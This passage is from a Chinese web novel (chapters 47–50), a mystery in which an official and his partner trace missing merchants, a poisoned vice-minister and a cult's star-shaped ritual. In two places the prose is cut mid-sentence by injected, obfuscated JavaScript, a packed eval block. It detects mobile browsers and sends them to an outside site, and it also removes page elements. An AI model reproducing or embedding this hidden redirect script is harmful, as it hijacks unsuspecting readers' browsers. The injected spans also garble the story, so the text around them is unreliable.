午后，刑部派人送来了贺礼——一方上好的端砚，还有周尚书亲笔写的一幅字:“清正明鉴”。这显然是陛下赐匾后，周尚书的心意。 “周尚书对你，倒是真心栽培。”谢云辞看着那幅字道。 “所以我更不能让他失望。”江清砚小心地将字收好。 接下来的半天，江清砚都在书房看书。谢云辞则去了一趟六扇门，处理刺客案的后续。 傍晚时分，谢云辞带回一个消息。 “那个刺客的身份查到了，”他将一份卷宗放在桌上，“不是京城人，来自江南。三年前来京，一直在街头做小买卖，平日沉默寡言，邻居都说他老实本分。” “伪装得很好。”江清砚翻看卷宗。 “但我在他住处，发现了这个。”谢云辞取出一枚铜钱，放在桌上。 铜钱很普通，是大周通用的“通宝”。但江清砚拿起来仔细看，发现铜钱的边缘有一道极细微的刻痕，刻的是一个简化版的眼睛图腾。 “又是这个图案……”江清砚喃喃道。 “我查了近年来的刺客案、谋杀案、失踪案，”谢云辞的声音低沉，“凡是涉及这个图案的案子，最后都成了悬案。‘烛龙之眼’的渗透，比我们想象的更深。” 两人沉默着，书房内的烛火跳动，在墙上投下摇曳的影子。 “三日后的土地庙，一定要去，”江清砚忽然道，“不管是不是陷阱，这都是一个机会。” “嗯，”谢云辞点头，“我已经安排好了人手。到时候你……” “我跟你一起去，”江清砚打断他，“你说过，我们要一起面对。” 谢云辞看着他坚定的眼神，最终妥协:“好。但你必须在安全的地方，不能露面。” “成交。” 夜色渐深，窗外传来打更的声音。 江清砚走到窗边，看着夜空中的星辰。今日的荣耀，明日的凶险，一切都如同这夜空，看似平静，实则暗流汹涌。 “在想什么？”谢云辞走到他身边。 “在想……这条路，我们到底能不能走通。”江清砚轻声道。 谢云辞也望向夜空，声音坚定而沉稳:“一定能。因为这条路，不止我们两个人在走。” 江清砚转头看他。 “周尚书在暗中支持我们，陛下在默许我们，还有那些被‘烛龙之眼’害过的人，他们的冤魂也在看着我们，”谢云辞的眼神在夜色中熠熠生辉，“所以我们不是孤军奋战。只要我们不放弃，总有一天，能拨云见日。” 江清砚看着他的侧脸，心中忽然涌起一股力量。 是啊，他们不是孤军奋战。 这条路再难，也要走下去。 为了父母，为了谢家，也为了那些枉死的冤魂。 “三日后，”江清砚轻声说，“我们一起去。” “嗯，一起去。” 夜风吹过，带来秋日的凉意。 但两人并肩而立，心中却温暖如春。 前路漫漫，凶险未知。 但只要在一起，就有无尽的勇气。 48. 第 48 章 第四十八章刑部新人 九月十六，清晨微雨。 江清砚撑着油纸伞走进刑部衙门时，身上还带着秋雨的湿气。门房的小吏殷勤地接过伞，又递来干净的布巾:“江郎中早，您看这雨下的，快擦擦。” “有劳。”江清砚颔首，接过布巾擦了擦袖口的水渍。他今日穿了一身靛青色的官服，比起昨日的状元袍，朴素了许多，却更显清隽。 穿过回廊时，他敏锐地察觉到周围的目光。昨日游街遇刺的事已经传开，今日刑部上下看他的眼神，除了好奇和审视，又多了一层说不清道不明的敬畏——敢在御街行刺状元的刺客，背后势力绝不简单，而这位状元郎不仅毫发无损，还当场擒凶，这份胆识和身手，让人不敢小觑。 推开值房的门，书案上已经堆了几摞卷宗。王书吏正站在案边整理，见他进来，躬身行礼:“江郎中，这些都是需要复核的案子。周尚书吩咐了，让您先从简单的看起。” 江清砚走到书案后坐下，目光扫过那些卷宗。最上面的一本是“京城东市盗窃案”，确实简单；但往下一翻，第二本就是“江南盐税亏空案”，涉及数额巨大，牵扯官员众多，绝不是简单的案子。 “王书吏，”江清砚抬眸，“这些卷宗，是谁送来的？” 王书吏神色如常:“是案牍库按章程送来的。刑部复核案子，向来是随机抽取，不分难易。” 这话说得滴水不漏，但江清砚不信。他才刚来第二天，就送上这么复杂的盐税案，明显是有人想试探他的能力，或者……想看他出丑。 “我知道了，”江清砚神色平静，“你先下去吧。” “是。”王书吏退了出去，轻轻带上门。 房间里安静下来，只有窗外淅淅沥沥的雨声。江清砚没有立刻翻看卷宗，而是闭目凝神，感受了一下心脉处的青木生机——比昨日又恢复了一分，虽离全盛时还远，但处理日常事务已无大碍。 他睁开眼，先拿起那本盗窃案。案情很简单:东市绸缎庄丢失了三匹蜀锦，价值三百两，现场无破坏痕迹，怀疑是内贼。县衙抓了三个伙计，严刑拷打后，其中一个认罪，案子就结了。 但江清砚看得仔细。卷宗里附了三个伙计的供词、绸缎庄的账目、还有失窃蜀锦的样品记录。他注意到一个细节:认罪的那个伙计供称，他将蜀锦藏在自家床底下，但衙役去搜时，只找到两匹，第三匹不翼而飞。 而另外两个伙计的供词里，都提到失窃那晚，绸缎庄隔壁的胭脂铺进了新货，搬运货物到很晚，动静很大。 江清砚沉吟片刻，提笔在复核意见栏写下:“疑点有三:其一，失窃现场无破坏，熟人作案无疑，但认罪伙计未供出销赃渠道，不合常理;其二，搜出赃物数量不符，或有人栽赃;其三，隔壁店铺当晚有异常动静，或有目击者。建议:重审三个伙计，彻查胭脂铺当晚进出人员。” 写完，他盖上自己的印章，将卷宗放到一边。 接着，他翻开了盐税案。 这一看，就是一个时辰。 盐税案确实复杂。江南三州十二县，去年盐税亏空高达五十万两。朝廷派了钦差去查，查了三个月，抓了十几个盐官，追回了二十万两，剩下的三十万两不知所踪。钦差回京复命，说“余款追缴困难，建议结案”。 但江清砚从卷宗里看出问题了。 首先是账目。盐税征收和支出的记录混乱不堪，很多地方对不上。比如扬州府报称“河道疏浚支银五万两”，但附上的工程记录只有三页纸，连基本的工程量、人工、材料清单都没有。 其次是涉案人员。被抓的盐官，官职最高的只是个六品知事，真正的掌权者——盐运使、知府、甚至布政使，一个都没动。 最后是追回的款项。二十万两银子，是从那些被抓盐官家里抄出来的。但江清砚算了一下，那些人的俸禄加上可能的灰色收入，十年也攒不下二十万两。这钱哪来的？是有人让他们顶罪，用钱买他们的命？ 他正沉思间，门外传来脚步声，接着是敲门声。 “进。” 推门进来的是个二十出头的年轻人，穿着八品主事的青色官服，面容清秀，眼神灵动。他手中拿着一本卷宗，恭敬地行礼:“下官刑部主事林远，见过江郎中。” “林主事有事？”江清砚问。 “周尚书让下官送这个过来，”林远将卷宗放在书案上，“是去年的一桩旧案，尚书说让您也看看。” 江清砚看了一眼卷宗封面——“北境军械失窃案”。 他的心跳漏了一拍，面上却不动声色:“知道了。替我谢谢尚书大人。” “是，”林远却没有立刻离开，而是犹豫了一下，压低声音道，“江郎中，盐税案的卷宗……您看得还顺利吗？” 江清砚抬眸看他，眼神平静:“林主事有话直说。” 林远左右看看，声音更低了:“那案子……水很深。之前的几位郎中，有想深究的，不是调离就是……告病还乡了。您初来乍到，还是……” “还是明哲保身为好？”江清砚接话。 林远脸色微变，连忙道:“下官不敢。只是……提个醒。” 江清砚看了他片刻，忽然问:“林主事来刑部几年了？” “两年。” “两年就能在周尚书身边办事，看来很得器重。” “尚书大人抬爱。”林远垂眸。 江清砚点点头，没再追问:“我知道了。谢谢你的提醒。” 林远松了口气，行礼退下。 门关上后，江清砚盯着那本“北境军械失窃案”的卷宗，许久没有动作。周尚书特意送这个来，是什么意思？试探？提醒？还是…… 他翻开卷宗。 案子发生在五年前，北境驻军的一批新式弩箭在运送途中失窃，共计三千支。这批弩箭是军械司特制，射程和威力都远超普通弓弩。失窃后，朝廷震怒，派人严查，但查了半年，只抓到几个替罪羊，真正的幕后黑手始终没找到。 卷宗里附了现场勘查记录、押运士兵的证词、还有弩箭的图纸。江清砚仔细看着图纸，忽然瞳孔一缩—— 图纸角落，有一个极小的标记，是一把剑和一面盾交叉的图案。那是谢家军的军徽！ 这批弩箭，是特供给谢家军的！ 他继续往下翻，看到涉案人员的名单。负责押运的校尉叫王猛，谢家军旧部，案发后失踪。而接替谢家军镇守北境的新任统帅，叫李继先——当朝太后的侄子，三皇子的表舅。 江清砚的手指微微收紧。 太巧了。谢家军刚遭伏击全军覆没，特供给他们的弩箭就失窃了。而接替谢家的人，是太后的亲戚。 这背后，难道有宫廷的影子？ 他想起谢云辞说过，谢家血案的所有线索都指向朝中某位权贵，但每次快查到时就会断线。如果那位权贵是太后，或者三皇子，那一切就说得通了——他们有足够的权势抹去痕迹，也有足够的动机除掉功高震主的谢家。 但“烛龙之眼”又在这其中扮演什么角色？那个眼睛图腾，和太后、三皇子有关吗？ 江清砚感到一阵寒意。如果“烛龙之眼”的渗透已经到了宫廷深处，那他们的敌人，可能比想象的更可怕。 他定了定神，提笔在盐税案的复核意见栏写下:“疑点众多，账目不清，涉案人员不全，追缴款项存疑。建议:重派钦差，彻查江南盐政，重点审查扬州、苏州、杭州三府主官。” 写完，他犹豫了一下，又加上一句:“另，建议密查盐款流向，或有军需关联。” 这是大胆的推测。盐税亏空，钱去哪了？如果“烛龙之眼”在暗中策划什么大事，必然需要巨额资金。而军械失窃案和盐税案如果有关联，那这批钱可能被用来购买或制造武器。 他将两份卷宗都盖上印章，唤来王书吏:“送去给周尚书。” 王书吏接过卷宗，看了一眼上面的批注，眼中闪过一丝异色，但很快恢复平静:“是。” 午时，雨停了。江清砚没有去饭堂，而是让王书吏将午膳送到值房。他一边吃饭，一边继续看卷宗。 下午未时，周尚书亲自来了。 “江郎中，”周文渊的神色看不出喜怒，“你批的复核意见，我都看了。” 江清砚起身行礼:“下官愚见，若有不当之处，还请尚书指正。” “坐，”周文渊在他对面坐下，拿起那本盐税案卷宗，“你建议重派钦差，彻查江南盐政。可知道这意味着什么？” “意味着会触动很多人的利益。”江清砚直言不讳。 “不止，”周文渊摇头，“江南盐政，盘根错节，牵扯到的不仅是地方官，还有朝中的某些……大人物。前任钦差为什么只查了一半就结案？不是他不想查，是查不下去了。” 他看着江清砚:“你初来乍到，就敢提出这样的建议，是胆识过人，还是……不知深浅？” 江清砚平静地对上他的目光:“下官只知道，五十万两盐税，是百姓的血汗。三十万两不知所踪，必须有个交代。至于得罪什么人……下官既然穿了这身官服，就该对得起朝廷，对得起百姓。” 周文渊盯着他看了很久，忽然笑了:“好，好一个对得起朝廷，对得起百姓。”他站起身，“你的建议，我会考虑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江清砚心中一动。周尚书这是在暗示，刑部的卷宗里，可能藏着谢家血案的线索。 “下官会留意的。” 周文渊点点头，起身准备离开，走到门口时，忽然回头:“对了，陈侍郎今天告病了，说是感染风寒。这几天刑部的事，我会直接交代给你。好好干，别让我失望。” “是。” 周文渊离开后，江清砚坐在椅子上，久久没有动。 陈文远告病？是巧合，还是因为昨天游街遇刺的事？或者……是因为他今天复核盐税案的表现？ 这个刑部，果然不简单。 窗外的天色渐渐暗下来。江清砚将密函收好，起身收拾东西。今日在刑部的第一天，虽然平静，却暗藏波涛。 走出衙门时，那辆青布马车已经在等了。车夫还是那个沉默的中年人，见他出来，恭敬地掀开车帘。 回到谢府，谢云辞还没回来。江清砚先回房换了常服，然后去书房，将今日在刑部的事详细记录下来，特别是盐税案和军械失窃案的细节。 写完，他坐在书案前，看着窗外的暮色，心中思绪万千。 刑部这条路，比他想象的更复杂，也更危险。但他没有退路。 为了父母，为了谢云辞，也为了那些被掩盖的真相，他必须走下去。 夜幕降临，书房里点起了灯。 不知过了多久，门外传来脚步声，接着是谢云辞的声音:“清砚，在吗？” “在。” 谢云辞推门进来，身上还带着夜风的凉意。他走到书案边，看了一眼江清砚写的东西，眉头微蹙:“刑部第一天，就遇到这么多事？” “还好，”江清砚将今日的事简单说了一遍，包括那封密函。 谢云辞听完，神色凝重起来:“周尚书说得对，有人在暗中关注你。但不知是敌是友。” “三日后土地庙之约，或许能看出端倪。”江清砚道。 谢云辞点头，从怀中取出一份地图:“我今日调阅了城西土地庙附近的卷宗。那个地方很偏僻，平时很少有人去。但三年前，那里发生过一起命案——一个更夫死在那里，死状诡异，七窍流血，像是中毒。案子至今未破。” 又是未破的悬案。 江清砚看着地图上标记的位置，忽然道:“我想提前去看看。” “太危险了。” “正因为危险，才要提前侦查，”江清砚看着他，“我们可以扮作香客，白天去，不会引人怀疑。” 谢云辞想了想，最终妥协:“好，明天去。但你必须跟紧我，不能擅自行动。” “成交。” 两人相视一笑，之前的凝重气氛缓和了不少。 夜渐深，烛火摇曳。 前路虽险，但并肩同行，便无所畏惧。 49. 第 49 章 第四十九章新案：富商连环失踪 九月十七，晴。 城西土地庙坐落在京郊一片荒废的村落边缘，庙墙斑驳，瓦片残缺，门前的石阶长满了青苔。这里早已断了香火，连乞丐都不愿在此栖身。 江清砚和谢云辞扮作路过的香客，穿着一身普通的棉布衣裳，戴着斗笠，看上去像是进城卖货的乡民。两人在庙前停下，谢云辞警惕地环顾四周，确认没有埋伏，才示意江清砚跟上。 推开吱呀作响的庙门，一股霉味扑面而来。庙内光线昏暗，只有几缕阳光从屋顶的破洞漏下，照在布满灰尘的供桌上。土地公的神像已经残破不堪，半边脸都塌了，露出里面的泥胎。 “就是这里了。”谢云辞压低声音，手指在供桌边缘摸索。 江清砚则仔细观察着庙内的每一个角落。地面铺着青砖，砖缝里长着杂草，看不出什么异常。但当他走到神像后面时，注意到墙壁上有一处颜色略深——像是经常被触摸留下的痕迹。 他伸手按了按，那块墙砖竟然微微松动。 “云辞，这里。” 谢云辞走过来，两人合力将墙砖取下，后面露出一个小小的暗格。暗格里放着一个油纸包，包得严严实实。 江清砚取出油纸包，小心打开。里面是一本薄薄的册子，纸张已经泛黄，上面密密麻麻写满了字。 不是约他们来的人，而是一份……名单。 名单上列着七个名字，每个名字后面都标注着身份、住址、以及一个日期。江清砚一眼就认出了其中几个——都是京城里有名的富商，而且…… “这些人，”他抬头看向谢云辞，“全都失踪了。” 谢云辞接过册子细看，脸色骤变。名单上的七个人，在过去三年里陆续失踪，生不见人死不见尸。六扇门接手过其中三起案子，但都查无头绪，最后只能以“疑似遭遇山匪”或“可能携款潜逃”结案。 “李万财，绸缎商，两年前失踪；赵德海，盐商，一年半前失踪；孙富贵，珠宝商，一年前失踪……”谢云辞一个个念下去，声音越来越冷，“这不是巧合。” 江清砚翻到册子最后一页，那里用红笔写了一行小字:“欲知真相，三日后子时，此地相见。勿带他人。” 和之前纸条上的字迹一模一样。 “对方在试探我们，”谢云辞将册子收好，“给了我们这份名单，是想看我们有没有能力查下去，也看我们敢不敢查。” “那就查，”江清砚眼神坚定，“从这份名单开始。” 两人将暗格恢复原状，又在庙内仔细搜查了一遍，没再发现其他线索，便迅速离开了。 回到谢府，谢云辞立刻调来了那七起失踪案的卷宗。六扇门记录了三起，另外四起是顺天府受理的，记录得更简略。 江清砚将七份卷宗摊在书案上，逐一比对。 “失踪时间间隔不固定，最短三个月，最长半年，”他一边看一边分析，“失踪地点都在京城或近郊，没有出远门的迹象。家人报官时都说，失踪前毫无征兆，头天还好好的，第二天人就不见了。” “财产呢？”谢云辞问。 “奇怪就在这里，”江清砚翻看着账目记录，“这些人家中都未丢失大量财物，有的甚至连随身带的银票都没动。如果是绑架勒索，绑匪为什么不索要赎金？如果是谋财害命，为什么不拿走财物？” 谢云辞沉思片刻:“除非……他们本身不是目标，而是‘东西’被拿走了。” “东西？”江清砚抬眼。 “我处理过类似的案子，”谢云辞的声音低沉，“有些邪教或秘密组织，会绑架特定的人，不是为了钱，而是为了人本身——可能是他们的身份，可能是他们的血脉，也可能是他们知道的某个秘密。” 江清砚心中一凛。他想起了“烛龙之眼”对他们血脉的觊觎。 “名单上这些人，有什么共同点？”他问。 两人将七个人的背景资料一一列出:都是富商，但经营的行业不同——绸缎、盐、珠宝、茶叶、药材、当铺、钱庄。年龄从四十到六十不等，有本地人也有外地迁来的，社会关系也各不相同。 表面看，毫无关联。 “等等，”江清砚忽然注意到一个细节，“这些人的原籍……你看。” 谢云辞凑过来看。李万财原籍江南苏州，赵德海原籍山东济南，孙富贵原籍山西太原……看似分散，但江清砚拿来大周地图，将他们的原籍一一标出，然后连线—— “这是一个七芒星的形状！”谢云辞瞳孔一缩。 七个地点，正好构成一个规则的七芒星图案，而图案的中心点，赫然是京城！ “这不是巧合，”江清砚的声音有些发颤，“有人在按照特定的方位挑选目标。” 谢云辞盯着地图，脑中飞快运转:“七芒星……在玄学中，七芒星是召唤或封印的阵法。如果这是某种仪式，那这些富商就是祭品，或者……媒介。” 两人对视一眼，都感到一股寒意从脊背升起。 如果真是这样，那这起连环失踪案，就不是普通的刑事案件，而是一场精心策划的、涉及玄学秘术的阴谋。 “需要更多信息，”江清砚强迫自己冷静下来，“名单上只有名字和失踪日期，没有其他线索。我们需要知道这些人失踪前的具体行踪、见过什么人、说过什么话。” “我去查，”谢云辞起身，“六扇门还有些旧档案，或许能找到些线索。另外，我会派人去这七家暗访，看能不能问出什么。” “小心，”江清砚叮嘱，“如果这真和‘烛龙之眼’有关，他们一定在暗中监视。” “我知道。” 谢云辞匆匆离开，江清砚则留在书房，继续研究那份名单和地图。他将七芒星的图案画在纸上，又根据每个地点的方位，计算着可能的阵法效果。 按照玄学典籍记载，七芒星阵法有多种用途:召唤、封印、献祭、转生……每一种都需要特定的条件和媒介。而这些富商，作为“媒介”，需要满足什么条件呢？ 他忽然想起什么，起身去书架前翻找。谢云辞的书房藏书极丰，除了兵法典籍，还有大量杂书，其中就有几本关于玄学和奇门遁甲的。 找到一本《星相阵法考》，江清砚快速翻阅，在“七芒星阵”一章节停下。书中记载:“七芒星者，北斗之形也。布此阵需七处灵脉节点，各置一‘引’，七引齐聚，可开天门，或镇幽冥。” 引？ 江清砚脑中灵光一闪。他重新看那七个富商的原籍，忽然明白了——那不是他们现在住的地方，而是他们家族的发源地，也就是所谓的“祖籍”。在玄学中，祖籍所在地往往与家族气运相连，是血脉的“根”。 所以这些人被选为“引”，不是因为他们本人，而是因为他们的血脉和祖籍！ 那要打开或封印的，是什么？ 江清砚继续往下看，书中还记载了一个案例:前朝末年，曾有邪教试图用七芒星阵打开“幽冥之门”，召唤亡魂作乱，但被正道人士阻止。那场事件中，作为“引”的七个人，全部惨死，死状诡异，七窍流血。 这和土地庙更夫的死状……太像了。 他合上书，心中已经有了大致的推测。但这需要证实。 傍晚时分，谢云辞回来了，带回了一叠资料。 “有发现，”他将资料摊开，“我查了这七家近年来的账目和往来记录。发现一个共同点——他们在失踪前半年，都曾向‘慈恩寺’捐过一大笔香火钱，数额惊人，每家至少五千两。” 慈恩寺！ 江清砚的心脏狂跳:“又是慈恩寺……” “不止，”谢云辞继续道，“我还查了他们的行踪。失踪前三天，他们都去过同一个地方——城北的‘清风观’。那是个小道观，平时香火不旺，但他们去的那天，道观刚好在办法事。” “什么法事？” “说是为一位过世的老道长做‘七七法事’，超度亡魂，”谢云辞眼中寒光闪烁，“但奇怪的是，那位老道长的名号，在道观记载中根本查不到。我派人去问，道观的人支支吾吾，说不清楚。” 清风观、慈恩寺……都和“烛龙之眼”有关？ “还有更奇怪的，”谢云辞压低声音，“我派人暗访了这七家的家人。其中三家的人说，失踪者在前几天曾提到‘要做一件大事’，‘完成后就能光宗耀祖’。但他们不知道是什么事。” 光宗耀祖…… 江清砚想起七芒星阵与祖籍血脉的关系，忽然明白了:“他们可能被骗了。有人告诉他们，参加某个仪式可以振兴家族，但实际上是拿他们当祭品。” 谢云辞脸色铁青:“如果真是这样，那幕后之人不仅残忍，还极其狡猾——利用人对家族的执念，诱使他们自愿赴死。” 书房里陷入沉默，只有烛火噼啪作响。 许久，江清砚开口:“三日后土地庙之约，我们必须去。对方既然给了我们这份名单，要么是想借我们的手破坏这个仪式，要么……是想把我们引入局中。” “我倾向于后者，”谢云辞神色凝重，“‘烛龙之眼’的目标是我们。用这个案子引我们上钩，符合他们的作风。” “那就将计就计，”江清砚眼中闪过一丝锐利，“他们想引我们入局，我们就进去看看，这到底是个什么局。” “太危险了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863525|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我们还有别的选择吗？”江清砚反问，“如果‘烛龙之眼’真的在用七芒星阵做什么，一旦成功，后果不堪设想。我们必须阻止他们。” 谢云辞看着他坚定的眼神，知道劝不住。他长叹一口气:“好。但我们必须做好万全准备。我会调集最可靠的人手，在土地庙周围布防。另外……” 他从怀中取出一枚玉佩，递给江清砚:“这是我母亲留下的护身符，开过光的。你戴上。” 玉佩温润，雕刻着莲花图案，在烛光下泛着淡淡的光晕。江清砚没有推辞，接过戴在颈上:“谢谢。” “还有，”谢云辞又从书案抽屉里取出一把匕首，匕首很精致，鞘上镶着宝石，“这把匕首淬过剧毒，见血封喉。你藏在袖中，以防万一。” 江清砚接过匕首，入手冰凉沉重。他知道，谢云辞这是做了最坏的打算。 “你也是，”他看向谢云辞，“不要总是护在我前面。我们是一起的。” 谢云辞笑了，笑容里带着几分无奈和宠溺:“知道了，江大夫。” 气氛稍微缓和了些。两人又商量了一些细节，直到夜深。 就在准备就寝时，王书吏突然来了——他是翻墙进来的，一身夜行衣，脸上蒙着黑布，只露出一双眼睛。 “江郎中，谢大人，”他压低声音，神色慌张，“出事了。” “怎么了？”谢云辞立刻按住刀柄。 “陈侍郎……死了。” 江清砚和谢云辞同时一震。 “怎么回事？”谢云辞追问。 “今天傍晚，陈侍郎的家人来报，说他一天没回家。我去他值房查看，发现他倒在书案上，已经没了呼吸，”王书吏的声音发颤，“死状……和名单上那些人一样，七窍流血。” 七窍流血！ 江清砚的心沉到谷底。陈文远昨天还好好的，今天就死了，而且死状和土地庙更夫、可能也和那些富商一样。这绝不是巧合。 “现场有什么？”谢云辞冷静地问。 “桌上有一封信，是写给江郎中的，”王书吏从怀中取出一封信，“我没敢动，原样封着。” 江清砚接过信，拆开。信很短，只有两行字: “名单有八人，第七已死，第八待选。欲知第八是谁，速查盐税案。” 落款是一个眼睛的图案。 “第八人……”谢云辞盯着那个图案，“陈文远是第七个？那第八个是谁？” 江清砚的脑中飞快运转。名单上七个人，都是富商。陈文远是朝廷命官，为什么会成为第八个？除非……他不是因为身份，而是因为别的什么。 “盐税案，”他喃喃道，“陈文远是刑部侍郎，经手过盐税案。他可能知道些什么，所以被灭口了。” “那第八个待选的人……”谢云辞脸色一变，“难道是……” 两人对视，同时说出一个名字: “周尚书。” 如果这个仪式需要八个“引”，而陈文远是第七个，那第八个很可能就是他的上司，同样经手盐税案的刑部尚书——周文渊。 “必须立刻通知周尚书！”江清砚起身。 “我去，”谢云辞按住他，“你留在府里，这里安全。王书吏，你跟我一起，去周府。” “是。” 两人匆匆离去，江清砚留在书房，却坐立不安。他重新摊开地图，看着那个七芒星图案，忽然想到:七芒星阵只需要七个点，为什么需要第八个人？ 除非……这不是七芒星，而是八芒星？ 他快速翻阅《星相阵法考》，找到了八芒星的记载:“八芒星者，八卦之形也。此阵凶险，需八人献祭，可开阴阳之门，逆转生死。” 逆转生死！ 江清砚的手开始颤抖。如果“烛龙之眼”真的在布八芒星阵，那他们的目的……可能是复活某个人，或者召唤某个存在。 而需要八个特定血脉的人献祭…… 他忽然想起了“钥匙”之说。江家的青木玉佩，谢家的玄铁兵符，是打开“烛龙眠息之地”的钥匙。那如果那个地方需要献祭才能打开呢？ 不，不对。父亲留下的绢帛上说“宁毁钥，勿开门”，说明开门需要钥匙，但没说需要献祭。 除非……开门之后，还需要献祭，才能得到里面的东西？ 江清砚感到头痛欲裂。线索太多，却理不出头绪。他强迫自己冷静，将所有的信息写在纸上，试图找出关联。 就在这时，窗外传来一声轻响。 江清砚立刻吹灭蜡烛，握紧了袖中的匕首。黑暗中，他听到极轻微的脚步声，正在靠近书房。 有人来了。 50. 第 50 章 第五十章铜钱密码 黑暗笼罩着书房，只有窗外微弱的月光勾勒出家具模糊的轮廓。 江清砚屏住呼吸，将身体隐藏在书架后的阴影里。袖中的匕首已经滑入掌心，淬过毒的刃口在月色下泛着幽蓝的光。他凝神细听，那脚步声极轻，却稳而有序，显然是个高手。 一步，两步……声音在书房门口停下了。 接着是极细微的金属摩擦声——是在开锁？不对，门没有锁。江清砚忽然想到，对方可能是用细铁丝或薄刃在试探门缝。 果然，门被缓缓推开一条缝。一个黑影侧身闪入，动作迅捷无声。那人身材不高，穿着夜行衣，脸上蒙着黑布，只露出一双眼睛，在黑暗中警惕地扫视着房间。 江清砚的心跳如擂鼓，但他强迫自己冷静。对方的目的是什么？刺杀？搜查？还是…… 黑衣人没有立刻动作，而是站在原地，似乎在适应黑暗。片刻后，他走到书案前，开始翻找上面的纸张。 是在找那份名单？还是盐税案的卷宗？ 江清砚没有动。他想看看对方到底要找什么。 黑衣人翻得很仔细，但动作很快，显然对搜查很有经验。他翻完书案，又转向书架。就在他伸手要去拿那本《星相阵法考》时，江清砚出手了。 他没有直接攻击，而是将书架上的一只瓷瓶轻轻推倒—— “哐当！” 瓷器碎裂的声音在寂静中格外刺耳。黑衣人猛地回头，同时身形暴退，手中已多了一把短刀。 江清砚从阴影中走出，匕首横在胸前:“阁下夜闯私宅，不知有何贵干？” 黑衣人的眼睛眯了起来，没有说话，只是握紧了刀。两人在黑暗中对峙，空气仿佛凝固了。 忽然，黑衣人动了。他身形如鬼魅般前扑，短刀直刺江清砚咽喉。江清砚侧身闪避，同时匕首划向对方手腕。黑衣人回刀格挡，两刃相交，发出刺耳的金属摩擦声。 交手不过三招，江清砚就感到了压力。对方的身手远在他之上，若非青木生机强化了他的感知和反应，恐怕第一招就躲不过。 但他不能退。这里是谢府，是他的地方，他必须弄清楚对方的来意。 又过了几招，江清砚渐渐不支。黑衣人显然也看出了他的弱点，攻势越发凌厉。就在短刀即将刺中江清砚肩膀的瞬间—— “住手！” 一声厉喝从门口传来。谢云辞手持绣春刀，如一道黑色闪电般冲入，刀光直取黑衣人后背。 黑衣人不得不回身格挡，与谢云辞战在一起。两人的身手旗鼓相当，刀光在黑暗中闪烁，快得几乎看不清。江清砚退到一旁，紧紧盯着战局。 谢云辞的刀法大开大合，刚猛凌厉；黑衣人的刀法则诡异刁钻，专攻要害。两人交手三十余招，竟不分胜负。 忽然，黑衣人虚晃一招，纵身后跃，退到了窗边。他看了江清砚一眼，那眼神中似乎有某种复杂的情绪，然后翻身跃出窗外，消失在夜色中。 谢云辞想要追，被江清砚拦住:“别追，小心调虎离山。” “你没事吧？”谢云辞连忙检查江清砚，确认他没有受伤，才松了口气，“周尚书那边没事，我已经安排了人手保护。回来就听到动静……” “我没事，”江清砚摇头，走到书案前，“他在找东西。” 两人点亮蜡烛，重新检查书房。书案上的东西被翻乱了，但似乎没少什么。直到江清砚检查书架时，发现那本《星相阵法考》被抽出了一半。 “他在找这本书？”谢云辞蹙眉。 “或者……是书里的东西。”江清砚将书完全抽出，翻开。书页间，夹着一张纸——是他之前画的那个七芒星图案。 纸还在。 但江清砚注意到，图案旁边他做的笔记，被人用指甲轻轻划了一道痕。很轻，不仔细看根本发现不了。 “他在确认我们知道多少。”江清砚沉声道。 谢云辞的脸色很难看:“这府里该加强守卫了。明天我就调一批亲卫过来。” “等等，”江清砚忽然想到什么，“王书吏呢？他不是跟你一起去的吗？” “我让他先回家了，”谢云辞道，“周尚书那边有六扇门的人，用不上他。” 江清砚沉默片刻:“你不觉得……太巧了吗？王书吏刚来报信，刺客就来了。” 谢云辞眼神一凛:“你怀疑王书吏？” “说不准，”江清砚摇头，“但陈文远的死，他是第一个发现的；今晚的刺客，又在他离开后出现。这两件事，都和他有关联。” “我明天就去查他。”谢云辞冷声道。 “不，”江清砚却反对，“如果王书吏真有问题，打草惊蛇反而不好。我们可以……将计就计。” “怎么说？” 江清砚在书案前坐下，重新铺开纸笔:“黑衣人看到我们在查七芒星阵，看到我们知道了陈文远的死，也看到了那份名单。那么，如果我们是‘烛龙之眼’，接下来会怎么做？” 谢云辞想了想:“要么加快进度，提前仪式；要么……除掉知情人，也就是我们。” “但他们不会轻易动我们，因为我们是‘钥匙’，”江清砚分析，“所以最可能的，是加快仪式进度，赶在我们查明真相之前完成。” 他提笔，在纸上写下一个日期:“三天后，土地庙之约。那可能就是仪式的关键节点。” “那我们……” “我们得提前行动，”江清砚眼中闪过决断，“明天，我去刑部，以陈文远死因为由，调阅所有与他相关的卷宗，特别是盐税案。你在外面，继续查那些富商失踪的细节，尤其是他们失踪前去过的‘清风观’。” “太危险了，”谢云辞皱眉，“如果你猜得对，刑部里可能还有‘烛龙之眼’的人。” “所以我才要去，”江清砚看着他，“我在明，你在暗。如果真有人对我下手，你在外面，反而能看得更清楚。” 谢云辞明白他的意思。江清砚这是在以身作饵，引出暗处的敌人。 “我不同意，”他斩钉截铁，“太冒险了。你才刚恢复……” “没有时间了，”江清砚打断他，“如果八芒星阵真的存在，如果第八个人真的是周尚书，那留给我们的时间不多了。陈文远已经死了，下一个可能就是周尚书，甚至……” 他没有说完，但谢云辞懂。 甚至可能是他们自己。 两人沉默地对视着，烛火在中间跳动，将他们的影子投在墙上，交织在一起。 许久，谢云辞终于妥协:“好。但你必须答应我，一旦发现不对，立刻撤出刑部。我会派人暗中保护你。” “成交。” 这一夜，两人几乎没睡。江清砚将《星相阵法考》中关于八芒星的部分又仔细研究了一遍，谢云辞则调来了陈文远案的初步验尸报告。 报告上写:陈文远死于一种罕见的神经毒素，中毒后三刻钟内发作，七窍流血而亡。毒素来源不明，现场未发现下毒痕迹。 